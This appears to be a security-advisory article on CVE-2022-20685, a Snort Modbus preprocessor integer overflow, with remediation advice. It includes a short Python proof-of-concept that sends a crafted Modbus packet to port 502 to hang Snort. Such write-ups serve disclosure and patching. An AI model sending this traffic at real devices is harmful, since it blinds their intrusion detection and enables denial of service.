A newly discovered vulnerability, registered under CVE-2022-20685, has been identified within the Modbus preprocessor of the Snort detection engine. This vulnerability could provide an unauthenticated, remote attacker with the means to initiate a denial of service (DoS) attack on a targeted device. To further explain and understand the exploit, the following article will provide a brief overview of the vulnerability, as well as explore details of the exploit, available references, and necessary remediation steps.

Vulnerability Description

This specific vulnerability is caused by an integer overflow occurring during the processing of Modbus traffic. As a result, an attacker could potentially exploit this vulnerability by transmitting crafted Modbus traffic through an affected device. If successful, this exploit would enable the attacker to cause the Snort process to hang, leading to the cessation of traffic inspection for the affected device. Unfortunately, there are no workarounds currently available to address this vulnerability.

Snippet for Reproducing the Issue

The following code snippet demonstrates the use of crafted Modbus traffic that could potentially result in the Snort process hanging and the initiation of a DoS attack on an affected device:

# Sample Python code to craft malicious Modbus traffic
import socket

TCP_IP = 'x.x.x.x'  # Target IP address
TCP_PORT = 502      # Modbus port

# Modbus packet header
header = b'\x00\x01\x00\x00\x00\x06'

# Modbus packet payload (Function Code x11 and crafted values)
payload = b'\x01\x11\x00\xa7\xff\xf6'

# Combine header and payload
message = header + payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TCP_IP, TCP_PORT))
sock.send(message)
sock.close()

The following references provide additional information about the CVE-2022-20685 vulnerability

1. Official CVE-2022-20685 Details.
2. Cisco Security Advisory.

Exploit Details and Remediation

Currently, there are no available workarounds capable of addressing this vulnerability. However, Cisco has released software updates to resolve the issue, and it is highly recommended that users update their Snort detection engine software immediately to protect against potential DoS attacks. To locate the appropriate updates for your specific device, please visit the following link: Cisco Security Software Checker.

Conclusion

In summary, the CVE-2022-20685 vulnerability presents a significant risk to systems utilizing the Snort detection engine due to its potential to facilitate a denial of service attack through crafted Modbus traffic. As no workarounds are currently available, it is crucial for users to update their Snort software as quickly as possible, using the provided Cisco software updates. By staying informed and taking proactive steps to address vulnerabilities, users can better protect their devices from potentially devastating attacks.

Timeline

Published on: 11/15/2024 15:36:31 UTC